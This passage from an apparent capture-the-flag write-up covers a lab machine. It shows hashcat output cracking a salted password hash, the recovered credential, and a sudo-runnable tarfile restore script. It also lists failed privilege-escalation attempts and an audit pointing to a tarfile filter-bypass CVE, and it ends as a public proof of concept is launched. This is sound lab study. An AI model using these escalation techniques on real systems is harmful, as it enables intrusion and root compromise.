<span id="cb12-7"><a href="#cb12-7" aria-hidden="true" tabindex="-1"></a><span class="ex">Hash.Mode........:</span> 1410 <span class="er">(</span><span class="ex">sha256</span><span class="er">(</span><span class="va">$pass</span><span class="ex">.</span><span class="va">$salt</span><span class="kw">))</span></span>
<span id="cb12-8"><a href="#cb12-8" aria-hidden="true" tabindex="-1"></a><span class="ex">Hash.Target......:</span> 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b87...ingFTP</span>
<span id="cb12-9"><a href="#cb12-9" aria-hidden="true" tabindex="-1"></a><span class="ex">Time.Started.....:</span> Sat Mar 21 15:11:22 2026 <span class="er">(</span><span class="ex">0</span> secs<span class="kw">)</span></span>
<span id="cb12-10"><a href="#cb12-10" aria-hidden="true" tabindex="-1"></a><span class="ex">Time.Estimated...:</span> Sat Mar 21 15:11:22 2026 <span class="er">(</span><span class="ex">0</span> secs<span class="kw">)</span></span>
<span id="cb12-11"><a href="#cb12-11" aria-hidden="true" tabindex="-1"></a><span class="ex">Kernel.Feature...:</span> Optimized Kernel <span class="er">(</span><span class="ex">password</span> length 0-31 chars<span class="kw">)</span></span>
<span id="cb12-12"><a href="#cb12-12" aria-hidden="true" tabindex="-1"></a><span class="ex">Guess.Base.......:</span> File <span class="er">(</span><span class="ex">..\rockyou.txt\rockyou.txt</span><span class="kw">)</span></span>
<span id="cb12-13"><a href="#cb12-13" aria-hidden="true" tabindex="-1"></a><span class="ex">Guess.Queue......:</span> 1/1 <span class="er">(</span><span class="ex">100.00%</span><span class="kw">)</span></span>
<span id="cb12-14"><a href="#cb12-14" aria-hidden="true" tabindex="-1"></a><span class="ex">Speed.#01........:</span> 39670.7 kH/s <span class="er">(</span><span class="ex">0.36ms</span><span class="kw">)</span> <span class="ex">@</span> Accel:224 Loops:1 Thr:256 Vec:1</span>
<span id="cb12-15"><a href="#cb12-15" aria-hidden="true" tabindex="-1"></a><span class="ex">Speed.#02........:</span>  5263.3 kH/s <span class="er">(</span><span class="ex">1.00ms</span><span class="kw">)</span> <span class="ex">@</span> Accel:1024 Loops:1 Thr:256 Vec:1</span>
<span id="cb12-16"><a href="#cb12-16" aria-hidden="true" tabindex="-1"></a><span class="ex">Speed.#*.........:</span> 44933.9 kH/s</span>
<span id="cb12-17"><a href="#cb12-17" aria-hidden="true" tabindex="-1"></a><span class="ex">Recovered........:</span> 1/1 <span class="er">(</span><span class="ex">100.00%</span><span class="kw">)</span> <span class="ex">Digests</span> <span class="er">(</span><span class="ex">total</span><span class="kw">)</span><span class="ex">,</span> 1/1 <span class="er">(</span><span class="ex">100.00%</span><span class="kw">)</span> <span class="ex">Digests</span> <span class="er">(</span><span class="ex">new</span><span class="kw">)</span></span>
<span id="cb12-18"><a href="#cb12-18" aria-hidden="true" tabindex="-1"></a><span class="ex">Progress.........:</span> 14344384/14344384 <span class="er">(</span><span class="ex">100.00%</span><span class="kw">)</span></span>
<span id="cb12-19"><a href="#cb12-19" aria-hidden="true" tabindex="-1"></a><span class="ex">Rejected.........:</span> 3094/14344384 <span class="er">(</span><span class="ex">0.02%</span><span class="kw">)</span></span>
<span id="cb12-20"><a href="#cb12-20" aria-hidden="true" tabindex="-1"></a><span class="ex">Restore.Point....:</span> 13700040/14344384 <span class="er">(</span><span class="ex">95.51%</span><span class="kw">)</span></span>
<span id="cb12-21"><a href="#cb12-21" aria-hidden="true" tabindex="-1"></a><span class="ex">Restore.Sub.#01..:</span> Salt:0 Amplifier:0-1 Iteration:0-1</span>
<span id="cb12-22"><a href="#cb12-22" aria-hidden="true" tabindex="-1"></a><span class="ex">Restore.Sub.#02..:</span> Salt:0 Amplifier:0-1 Iteration:0-1</span>
<span id="cb12-23"><a href="#cb12-23" aria-hidden="true" tabindex="-1"></a><span class="ex">Candidate.Engine.:</span> Device Generator</span>
<span id="cb12-24"><a href="#cb12-24" aria-hidden="true" tabindex="-1"></a><span class="ex">Candidates.#01...:</span> 0831815070 <span class="at">-</span><span class="op">&gt;</span> <span class="va">$HEX</span><span class="pp">[</span><span class="ss">042a0337c2a156616d6f732103</span><span class="pp">]</span></span>
<span id="cb12-25"><a href="#cb12-25" aria-hidden="true" tabindex="-1"></a><span class="ex">Candidates.#02...:</span> 0834207037 <span class="at">-</span><span class="op">&gt;</span> 0831815085</span>
<span id="cb12-26"><a href="#cb12-26" aria-hidden="true" tabindex="-1"></a><span class="ex">Hardware.Mon.#01.:</span> Temp: 52c Fan:  0% Util: 12% Core:2587MHz Mem:13801MHz Bus:4</span>
<span id="cb12-27"><a href="#cb12-27" aria-hidden="true" tabindex="-1"></a><span class="ex">Hardware.Mon.#02.:</span> Temp:  0c Fan:  0% Util:  0% Core: 600MHz Mem:2400MHz Bus:16</span>
<span id="cb12-28"><a href="#cb12-28" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb12-29"><a href="#cb12-29" aria-hidden="true" tabindex="-1"></a><span class="ex">Started:</span> Sat Mar 21 15:11:20 2026</span>
<span id="cb12-30"><a href="#cb12-30" aria-hidden="true" tabindex="-1"></a><span class="ex">Stopped:</span> Sat Mar 21 15:11:23 2026</span></code></pre></div>
<p>user: wacky<br />
password: <code>!#7Blushing^*Bride5</code></p>
<h1 id="privesc-methodology--fails">privesc methodology &amp; fails</h1>
<div class="sourceCode" id="cb13"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb13-1"><a href="#cb13-1" aria-hidden="true" tabindex="-1"></a><span class="ex">wacky@wingdata:~$</span> sudo <span class="at">-l</span></span>
<span id="cb13-2"><a href="#cb13-2" aria-hidden="true" tabindex="-1"></a><span class="ex">Matching</span> Defaults entries for wacky on wingdata:</span>
<span id="cb13-3"><a href="#cb13-3" aria-hidden="true" tabindex="-1"></a>    <span class="ex">env_reset,</span> mail_badpass,</span>
<span id="cb13-4"><a href="#cb13-4" aria-hidden="true" tabindex="-1"></a>    <span class="va">secure_path</span><span class="op">=</span>/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, <span class="ex">use_pty</span></span>
<span id="cb13-5"><a href="#cb13-5" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb13-6"><a href="#cb13-6" aria-hidden="true" tabindex="-1"></a><span class="ex">User</span> wacky may run the following commands on wingdata:</span>
<span id="cb13-7"><a href="#cb13-7" aria-hidden="true" tabindex="-1"></a>    <span class="kw">(</span><span class="ex">root</span><span class="kw">)</span> <span class="ex">NOPASSWD:</span> /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py <span class="pp">*</span></span></code></pre></div>
<p>checked what's actually in that script:</p>
<div class="sourceCode" id="cb14"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb14-1"><a href="#cb14-1" aria-hidden="true" tabindex="-1"></a><span class="co">#!/usr/bin/env python3</span></span>
<span id="cb14-2"><a href="#cb14-2" aria-hidden="true" tabindex="-1"></a><span class="im">import</span> tarfile</span>
<span id="cb14-3"><a href="#cb14-3" aria-hidden="true" tabindex="-1"></a><span class="im">import</span> os</span>
<span id="cb14-4"><a href="#cb14-4" aria-hidden="true" tabindex="-1"></a><span class="im">import</span> sys</span>
<span id="cb14-5"><a href="#cb14-5" aria-hidden="true" tabindex="-1"></a><span class="im">import</span> re</span>
<span id="cb14-6"><a href="#cb14-6" aria-hidden="true" tabindex="-1"></a><span class="im">import</span> argparse</span>
<span id="cb14-7"><a href="#cb14-7" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-8"><a href="#cb14-8" aria-hidden="true" tabindex="-1"></a>BACKUP_BASE_DIR <span class="op">=</span> <span class="st">&quot;/opt/backup_clients/backups&quot;</span></span>
<span id="cb14-9"><a href="#cb14-9" aria-hidden="true" tabindex="-1"></a>STAGING_BASE <span class="op">=</span> <span class="st">&quot;/opt/backup_clients/restored_backups&quot;</span></span>
<span id="cb14-10"><a href="#cb14-10" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-11"><a href="#cb14-11" aria-hidden="true" tabindex="-1"></a><span class="kw">def</span> validate_backup_name(filename):</span>
<span id="cb14-12"><a href="#cb14-12" aria-hidden="true" tabindex="-1"></a>    <span class="cf">if</span> <span class="kw">not</span> re.fullmatch(<span class="vs">r&quot;</span><span class="dv">^</span><span class="vs">backup_</span><span class="dv">\d</span><span class="op">+</span><span class="ch">\.</span><span class="vs">tar</span><span class="dv">$</span><span class="vs">&quot;</span>, filename):</span>
<span id="cb14-13"><a href="#cb14-13" aria-hidden="true" tabindex="-1"></a>        <span class="cf">return</span> <span class="va">False</span></span>
<span id="cb14-14"><a href="#cb14-14" aria-hidden="true" tabindex="-1"></a>    client_id <span class="op">=</span> filename.split(<span class="st">&#39;_&#39;</span>)[<span class="dv">1</span>].rstrip(<span class="st">&#39;.tar&#39;</span>)</span>
<span id="cb14-15"><a href="#cb14-15" aria-hidden="true" tabindex="-1"></a>    <span class="cf">return</span> client_id.isdigit() <span class="kw">and</span> client_id <span class="op">!=</span> <span class="st">&quot;0&quot;</span></span>
<span id="cb14-16"><a href="#cb14-16" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-17"><a href="#cb14-17" aria-hidden="true" tabindex="-1"></a><span class="kw">def</span> validate_restore_tag(tag):</span>
<span id="cb14-18"><a href="#cb14-18" aria-hidden="true" tabindex="-1"></a>    <span class="cf">return</span> <span class="bu">bool</span>(re.fullmatch(<span class="vs">r&quot;</span><span class="dv">^</span><span class="pp">[a-zA-Z0-9_]</span><span class="op">{1,24}</span><span class="dv">$</span><span class="vs">&quot;</span>, tag))</span>
<span id="cb14-19"><a href="#cb14-19" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-20"><a href="#cb14-20" aria-hidden="true" tabindex="-1"></a><span class="kw">def</span> main():</span>
<span id="cb14-21"><a href="#cb14-21" aria-hidden="true" tabindex="-1"></a>    parser <span class="op">=</span> argparse.ArgumentParser(</span>
<span id="cb14-22"><a href="#cb14-22" aria-hidden="true" tabindex="-1"></a>        description<span class="op">=</span><span class="st">&quot;Restore client configuration from a validated backup tarball.&quot;</span>,</span>
<span id="cb14-23"><a href="#cb14-23" aria-hidden="true" tabindex="-1"></a>        epilog<span class="op">=</span><span class="st">&quot;Example: sudo </span><span class="sc">%(prog)s</span><span class="st"> -b backup_1001.tar -r restore_john&quot;</span></span>
<span id="cb14-24"><a href="#cb14-24" aria-hidden="true" tabindex="-1"></a>    )</span>
<span id="cb14-25"><a href="#cb14-25" aria-hidden="true" tabindex="-1"></a>    parser.add_argument(</span>
<span id="cb14-26"><a href="#cb14-26" aria-hidden="true" tabindex="-1"></a>        <span class="st">&quot;-b&quot;</span>, <span class="st">&quot;--backup&quot;</span>,</span>
<span id="cb14-27"><a href="#cb14-27" aria-hidden="true" tabindex="-1"></a>        required<span class="op">=</span><span class="va">True</span>,</span>
<span id="cb14-28"><a href="#cb14-28" aria-hidden="true" tabindex="-1"></a>        <span class="bu">help</span><span class="op">=</span><span class="st">&quot;Backup filename (must be in /home/wacky/backup_clients/ and match backup_&lt;client_id&gt;.tar, &quot;</span></span>
<span id="cb14-29"><a href="#cb14-29" aria-hidden="true" tabindex="-1"></a>             <span class="st">&quot;where &lt;client_id&gt; is a positive integer, e.g., backup_1001.tar)&quot;</span></span>
<span id="cb14-30"><a href="#cb14-30" aria-hidden="true" tabindex="-1"></a>    )</span>
<span id="cb14-31"><a href="#cb14-31" aria-hidden="true" tabindex="-1"></a>    parser.add_argument(</span>
<span id="cb14-32"><a href="#cb14-32" aria-hidden="true" tabindex="-1"></a>        <span class="st">&quot;-r&quot;</span>, <span class="st">&quot;--restore-dir&quot;</span>,</span>
<span id="cb14-33"><a href="#cb14-33" aria-hidden="true" tabindex="-1"></a>        required<span class="op">=</span><span class="va">True</span>,</span>
<span id="cb14-34"><a href="#cb14-34" aria-hidden="true" tabindex="-1"></a>        <span class="bu">help</span><span class="op">=</span><span class="st">&quot;Staging directory name for the restore operation. &quot;</span></span>
<span id="cb14-35"><a href="#cb14-35" aria-hidden="true" tabindex="-1"></a>             <span class="st">&quot;Must follow the format: restore_&lt;client_user&gt; (e.g., restore_john). &quot;</span></span>
<span id="cb14-36"><a href="#cb14-36" aria-hidden="true" tabindex="-1"></a>             <span class="st">&quot;Only alphanumeric characters and underscores are allowed in the &lt;client_user&gt; part (1–24 characters).&quot;</span></span>
<span id="cb14-37"><a href="#cb14-37" aria-hidden="true" tabindex="-1"></a>    )</span>
<span id="cb14-38"><a href="#cb14-38" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-39"><a href="#cb14-39" aria-hidden="true" tabindex="-1"></a>    args <span class="op">=</span> parser.parse_args()</span>
<span id="cb14-40"><a href="#cb14-40" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-41"><a href="#cb14-41" aria-hidden="true" tabindex="-1"></a>    <span class="cf">if</span> <span class="kw">not</span> validate_backup_name(args.backup):</span>
<span id="cb14-42"><a href="#cb14-42" aria-hidden="true" tabindex="-1"></a>        <span class="bu">print</span>(<span class="st">&quot;[!] Invalid backup name. Expected format: backup_&lt;client_id&gt;.tar (e.g., backup_1001.tar)&quot;</span>, <span class="bu">file</span><span class="op">=</span>sys.stderr)</span>
<span id="cb14-43"><a href="#cb14-43" aria-hidden="true" tabindex="-1"></a>        sys.exit(<span class="dv">1</span>)</span>
<span id="cb14-44"><a href="#cb14-44" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-45"><a href="#cb14-45" aria-hidden="true" tabindex="-1"></a>    backup_path <span class="op">=</span> os.path.join(BACKUP_BASE_DIR, args.backup)</span>
<span id="cb14-46"><a href="#cb14-46" aria-hidden="true" tabindex="-1"></a>    <span class="cf">if</span> <span class="kw">not</span> os.path.isfile(backup_path):</span>
<span id="cb14-47"><a href="#cb14-47" aria-hidden="true" tabindex="-1"></a>        <span class="bu">print</span>(<span class="ss">f&quot;[!] Backup file not found: </span><span class="sc">{</span>backup_path<span class="sc">}</span><span class="ss">&quot;</span>, <span class="bu">file</span><span class="op">=</span>sys.stderr)</span>
<span id="cb14-48"><a href="#cb14-48" aria-hidden="true" tabindex="-1"></a>        sys.exit(<span class="dv">1</span>)</span>
<span id="cb14-49"><a href="#cb14-49" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-50"><a href="#cb14-50" aria-hidden="true" tabindex="-1"></a>    <span class="cf">if</span> <span class="kw">not</span> args.restore_dir.startswith(<span class="st">&quot;restore_&quot;</span>):</span>
<span id="cb14-51"><a href="#cb14-51" aria-hidden="true" tabindex="-1"></a>        <span class="bu">print</span>(<span class="st">&quot;[!] --restore-dir must start with &#39;restore_&#39;&quot;</span>, <span class="bu">file</span><span class="op">=</span>sys.stderr)</span>
<span id="cb14-52"><a href="#cb14-52" aria-hidden="true" tabindex="-1"></a>        sys.exit(<span class="dv">1</span>)</span>
<span id="cb14-53"><a href="#cb14-53" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-54"><a href="#cb14-54" aria-hidden="true" tabindex="-1"></a>    tag <span class="op">=</span> args.restore_dir[<span class="dv">8</span>:]</span>
<span id="cb14-55"><a href="#cb14-55" aria-hidden="true" tabindex="-1"></a>    <span class="cf">if</span> <span class="kw">not</span> tag:</span>
<span id="cb14-56"><a href="#cb14-56" aria-hidden="true" tabindex="-1"></a>        <span class="bu">print</span>(<span class="st">&quot;[!] --restore-dir must include a non-empty tag after &#39;restore_&#39;&quot;</span>, <span class="bu">file</span><span class="op">=</span>sys.stderr)</span>
<span id="cb14-57"><a href="#cb14-57" aria-hidden="true" tabindex="-1"></a>        sys.exit(<span class="dv">1</span>)</span>
<span id="cb14-58"><a href="#cb14-58" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-59"><a href="#cb14-59" aria-hidden="true" tabindex="-1"></a>    <span class="cf">if</span> <span class="kw">not</span> validate_restore_tag(tag):</span>
<span id="cb14-60"><a href="#cb14-60" aria-hidden="true" tabindex="-1"></a>        <span class="bu">print</span>(<span class="st">&quot;[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores&quot;</span>, <span class="bu">file</span><span class="op">=</span>sys.stderr)</span>
<span id="cb14-61"><a href="#cb14-61" aria-hidden="true" tabindex="-1"></a>        sys.exit(<span class="dv">1</span>)</span>
<span id="cb14-62"><a href="#cb14-62" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-63"><a href="#cb14-63" aria-hidden="true" tabindex="-1"></a>    staging_dir <span class="op">=</span> os.path.join(STAGING_BASE, args.restore_dir)</span>
<span id="cb14-64"><a href="#cb14-64" aria-hidden="true" tabindex="-1"></a>    <span class="bu">print</span>(<span class="ss">f&quot;[+] Backup: </span><span class="sc">{</span>args<span class="sc">.</span>backup<span class="sc">}</span><span class="ss">&quot;</span>)</span>
<span id="cb14-65"><a href="#cb14-65" aria-hidden="true" tabindex="-1"></a>    <span class="bu">print</span>(<span class="ss">f&quot;[+] Staging directory: </span><span class="sc">{</span>staging_dir<span class="sc">}</span><span class="ss">&quot;</span>)</span>
<span id="cb14-66"><a href="#cb14-66" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-67"><a href="#cb14-67" aria-hidden="true" tabindex="-1"></a>    os.makedirs(staging_dir, exist_ok<span class="op">=</span><span class="va">True</span>)</span>
<span id="cb14-68"><a href="#cb14-68" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-69"><a href="#cb14-69" aria-hidden="true" tabindex="-1"></a>    <span class="cf">try</span>:</span>
<span id="cb14-70"><a href="#cb14-70" aria-hidden="true" tabindex="-1"></a>        <span class="cf">with</span> tarfile.<span class="bu">open</span>(backup_path, <span class="st">&quot;r&quot;</span>) <span class="im">as</span> tar:</span>
<span id="cb14-71"><a href="#cb14-71" aria-hidden="true" tabindex="-1"></a>            tar.extractall(path<span class="op">=</span>staging_dir, <span class="bu">filter</span><span class="op">=</span><span class="st">&quot;data&quot;</span>)</span>
<span id="cb14-72"><a href="#cb14-72" aria-hidden="true" tabindex="-1"></a>        <span class="bu">print</span>(<span class="ss">f&quot;[+] Extraction completed in </span><span class="sc">{</span>staging_dir<span class="sc">}</span><span class="ss">&quot;</span>)</span>
<span id="cb14-73"><a href="#cb14-73" aria-hidden="true" tabindex="-1"></a>    <span class="cf">except</span> (tarfile.TarError, <span class="pp">OSError</span>, <span class="pp">Exception</span>) <span class="im">as</span> e:</span>
<span id="cb14-74"><a href="#cb14-74" aria-hidden="true" tabindex="-1"></a>        <span class="bu">print</span>(<span class="ss">f&quot;[!] Error during extraction: </span><span class="sc">{</span>e<span class="sc">}</span><span class="ss">&quot;</span>, <span class="bu">file</span><span class="op">=</span>sys.stderr)</span>
<span id="cb14-75"><a href="#cb14-75" aria-hidden="true" tabindex="-1"></a>        sys.exit(<span class="dv">2</span>)</span>
<span id="cb14-76"><a href="#cb14-76" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-77"><a href="#cb14-77" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> <span class="va">__name__</span> <span class="op">==</span> <span class="st">&quot;__main__&quot;</span>:</span>
<span id="cb14-78"><a href="#cb14-78" aria-hidden="true" tabindex="-1"></a>    main()</span></code></pre></div>
<p>for a bit i tried import hijacking, i figured since sudo allowed running Python3 with a specific script, i could try to drop a malicious <code>tarfile.py</code> file in <code>/tmp</code>, basically hoping python would import mine instead of stdlib. but this of course failed because Python 3.12 doesn't include <code>.</code> in <code>sys.path</code> by default (rip)</p>
<p>then, i tried a symlink tar attack (manually), basically crafting a tar with a symlink pointing to <code>/root/.ssh</code> and writing <code>authorized_keys</code> through it. this would have worked on older Python but it got blocked</p>
<p>next, i tried a script overwrite, basically checking if i could just overwrite <code>restore_backup_clients.py</code> with malicious code, but we didn't have write perms, only read+execute, so this failed</p>
<p>finally, i tried an absolute path tar entry, i tried a tar with <code>/etc/passwd</code> as the entry name, but also got blocked</p>
<h1 id="cve-2025-4138-why-manual-code-auditing-wins">CVE-2025-4138; why manual code auditing wins</h1>
<p>naturally, i started to wonder why every single attempt i had was getting blocked. rather than pestering claude, i started closely reading &amp; analyzing the code, step-by-step, piece-by-piece. i'll break it down, and at the end i'll explain what led me to finding the CVE</p>
<p>constants:</p>
<div class="sourceCode" id="cb15"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb15-1"><a href="#cb15-1" aria-hidden="true" tabindex="-1"></a>BACKUP_BASE_DIR <span class="op">=</span> <span class="st">&quot;/opt/backup_clients/backups&quot;</span></span>
<span id="cb15-2"><a href="#cb15-2" aria-hidden="true" tabindex="-1"></a>STAGING_BASE <span class="op">=</span> <span class="st">&quot;/opt/backup_clients/restored_backups&quot;</span></span></code></pre></div>
<p><code>validate_backup_name(filename)</code>:</p>
<div class="sourceCode" id="cb16"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb16-1"><a href="#cb16-1" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> <span class="kw">not</span> re.fullmatch(<span class="vs">r&quot;</span><span class="dv">^</span><span class="vs">backup_</span><span class="dv">\d</span><span class="op">+</span><span class="ch">\.</span><span class="vs">tar</span><span class="dv">$</span><span class="vs">&quot;</span>, filename):</span>
<span id="cb16-2"><a href="#cb16-2" aria-hidden="true" tabindex="-1"></a>    <span class="cf">return</span> <span class="va">False</span></span>
<span id="cb16-3"><a href="#cb16-3" aria-hidden="true" tabindex="-1"></a>client_id <span class="op">=</span> filename.split(<span class="st">&#39;_&#39;</span>)[<span class="dv">1</span>].rstrip(<span class="st">&#39;.tar&#39;</span>)</span>
<span id="cb16-4"><a href="#cb16-4" aria-hidden="true" tabindex="-1"></a><span class="cf">return</span> client_id.isdigit() <span class="kw">and</span> client_id <span class="op">!=</span> <span class="st">&quot;0&quot;</span></span></code></pre></div>
<p>enforces that the filename matches exactly <code>backup_&lt;number&gt;.tar</code> and that the number isn't zero. essentially prevents me from passing in something like <code>../../../../../etc/passwd</code> or an arbitrary filename as the backup arg</p>
<p><code>validate_restore_tag(tag)</code>:</p>
<div class="sourceCode" id="cb17"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb17-1"><a href="#cb17-1" aria-hidden="true" tabindex="-1"></a><span class="cf">return</span> <span class="bu">bool</span>(re.fullmatch(<span class="vs">r&quot;</span><span class="dv">^</span><span class="pp">[a-zA-Z0-9_]</span><span class="op">{1,24}</span><span class="dv">$</span><span class="vs">&quot;</span>, tag))</span></code></pre></div>
<p>only allows alphanumeric+underscores, 1-24 chars. prevents path traversal in the restore directory name, so i can't pass something like <code>restore_../../etc/</code> for example</p>
<p><code>main()</code>- argument passing:</p>
<div class="sourceCode" id="cb18"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb18-1"><a href="#cb18-1" aria-hidden="true" tabindex="-1"></a>parser.add_argument(<span class="st">&quot;-b&quot;</span>, <span class="st">&quot;--backup&quot;</span>, ...)</span>
<span id="cb18-2"><a href="#cb18-2" aria-hidden="true" tabindex="-1"></a>parser.add_argument(<span class="st">&quot;-r&quot;</span>, <span class="st">&quot;--restore-dir&quot;</span>, ...)</span></code></pre></div>
<p>two required args, tar filename &amp; restore directory tag. nothing special</p>
<p><code>main()</code> - validation chain:</p>
<div class="sourceCode" id="cb19"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb19-1"><a href="#cb19-1" aria-hidden="true" tabindex="-1"></a><span class="co"># 1. filename format check</span></span>
<span id="cb19-2"><a href="#cb19-2" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> <span class="kw">not</span> validate_backup_name(args.backup): sys.exit(<span class="dv">1</span>)</span>
<span id="cb19-3"><a href="#cb19-3" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb19-4"><a href="#cb19-4" aria-hidden="true" tabindex="-1"></a><span class="co"># 2. file must actually exist in the hardcoded backups dir</span></span>
<span id="cb19-5"><a href="#cb19-5" aria-hidden="true" tabindex="-1"></a>backup_path <span class="op">=</span> os.path.join(BACKUP_BASE_DIR, args.backup)</span>
<span id="cb19-6"><a href="#cb19-6" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> <span class="kw">not</span> os.path.isfile(backup_path): sys.exit(<span class="dv">1</span>)</span>
<span id="cb19-7"><a href="#cb19-7" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb19-8"><a href="#cb19-8" aria-hidden="true" tabindex="-1"></a><span class="co"># 3. restore dir must start with &quot;restore_&quot;</span></span>
<span id="cb19-9"><a href="#cb19-9" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> <span class="kw">not</span> args.restore_dir.startswith(<span class="st">&quot;restore_&quot;</span>): sys.exit(<span class="dv">1</span>)</span>
<span id="cb19-10"><a href="#cb19-10" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb19-11"><a href="#cb19-11" aria-hidden="true" tabindex="-1"></a><span class="co"># 4. tag after &quot;restore_&quot; must pass the regex</span></span>
<span id="cb19-12"><a href="#cb19-12" aria-hidden="true" tabindex="-1"></a>tag <span class="op">=</span> args.restore_dir[<span class="dv">8</span>:]</span>
<span id="cb19-13"><a href="#cb19-13" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> <span class="kw">not</span> validate_restore_tag(tag): sys.exit(<span class="dv">1</span>)</span></code></pre></div>
<p>basically just 4 layers of input validation</p>
<p><code>main()</code> - vulnerable part:</p>
<div class="sourceCode" id="cb20"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb20-1"><a href="#cb20-1" aria-hidden="true" tabindex="-1"></a>staging_dir <span class="op">=</span> os.path.join(STAGING_BASE, args.restore_dir)</span>
<span id="cb20-2"><a href="#cb20-2" aria-hidden="true" tabindex="-1"></a>os.makedirs(staging_dir, exist_ok<span class="op">=</span><span class="va">True</span>)</span>
<span id="cb20-3"><a href="#cb20-3" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb20-4"><a href="#cb20-4" aria-hidden="true" tabindex="-1"></a><span class="cf">with</span> tarfile.<span class="bu">open</span>(backup_path, <span class="st">&quot;r&quot;</span>) <span class="im">as</span> tar:</span>
<span id="cb20-5"><a href="#cb20-5" aria-hidden="true" tabindex="-1"></a>    tar.extractall(path<span class="op">=</span>staging_dir, <span class="bu">filter</span><span class="op">=</span><span class="st">&quot;data&quot;</span>)</span></code></pre></div>
<p>this is what got me wondering. at this point, the inputs are clean, the paths are controlled, there's hardcoded base dirs, and even regex validation, but the contents of the tar file are never validated... it literally just trusts that <code>filter="data"</code> will prevent anything malicious inside the archive from escaping the staging dir.</p>
<p>this led me to wonder if there are any CVE's for Python 3.12.3 that bypass this, which led me to discover <strong>2</strong> CVE's<br />
<img src="/images/wingdata/Pasted%20image%2020260321171506.png" alt="CVE-2025-4138 and CVE-2025-4517" /></p>
<p>both exploit a PATH_MAX overflow in <code>os.path.realpath()</code> to bypass <code>filter="data"</code>, the only difference is that CVE-2025-4138 uses arbitrary symlink creation outside the extraction dir, whereas CVE-2025-4517 uses arbitrary filesystem writes outside the extraction dir</p>
<p>both achieve the same end result so it doesn't really matter which you choose, but i went with CVE-2025-4138, specifically <a href="https://github.com/kyakei/CVE-2025-4138-poc/tree/main" target="_blank" rel="noopener">this</a> PoC, it has an explanation at the top if you're interested</p>
<div class="sourceCode" id="cb21"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb21-1"><a href="#cb21-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> python3 privesc.py <span class="at">-o</span> /tmp/backup_1002.tar <span class="at">-u</span> wacky</span>
<span id="cb21-2"><a href="#cb21-2" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb21-3"><a href="#cb21-3" aria-hidden="true" tabindex="-1"></a><span class="ex">_____________</span>   _______________         _______________   ________   .________            _____ ____________    ______</span>
<span id="cb21-4"><a href="#cb21-4" aria-hidden="true" tabindex="-1"></a><span class="ex">\_</span>   ___ <span class="dt">\ </span>  <span class="dt">\ </span>/   /\_   _____/         <span class="dt">\_</span>____  <span class="dt">\ </span>  _  <span class="dt">\ </span> <span class="dt">\_</span>____  <span class="dt">\ </span> <span class="kw">|</span>   <span class="ex">____/</span>           /  <span class="kw">|</span>  <span class="ex">/_</span>   <span class="dt">\_</span>____  <span class="dt">\ </span> /  __  <span class="dt">\</span></span>
<span id="cb21-5"><a href="#cb21-5" aria-hidden="true" tabindex="-1"></a>/    <span class="dt">\ </span> <span class="dt">\/\ </span>  Y   /  <span class="kw">|</span>    <span class="ex">__</span><span class="er">)</span><span class="ex">_</span>   ______  /  ____/  /_\  <span class="dt">\ </span> /  ____/  <span class="kw">|</span><span class="ex">____</span>  <span class="dt">\ </span>  ______  /   <span class="kw">|</span>  <span class="kw">||</span>   <span class="kw">|</span> <span class="ex">_</span><span class="er">(</span><span class="ex">__</span>  <span class="op">&lt;</span>  <span class="op">&gt;</span>      <span class="op">&lt;</span></span>
<span id="cb21-6"><a href="#cb21-6" aria-hidden="true" tabindex="-1"></a><span class="ex">\ </span>    <span class="dt">\_</span>___<span class="dt">\ </span>    /   <span class="kw">|</span>        <span class="ex">\ /_____/</span> /       <span class="dt">\ </span> <span class="dt">\_</span>/   <span class="dt">\/</span>       <span class="dt">\ </span> /       <span class="dt">\ </span>/_____/ /    ^   /   <span class="kw">|</span><span class="ex">/</span>       <span class="dt">\/</span>   <span class="at">--</span>   <span class="dt">\</span></span>
<span id="cb21-7"><a href="#cb21-7" aria-hidden="true" tabindex="-1"></a> <span class="dt">\_</span>_____  / <span class="dt">\_</span>__/   /_______  /         <span class="dt">\_</span>______ <span class="dt">\_</span>____  /\_______ <span class="dt">\/</span>______  /         <span class="dt">\_</span>___   <span class="kw">||</span><span class="ex">___/______</span>  /\______  /</span>
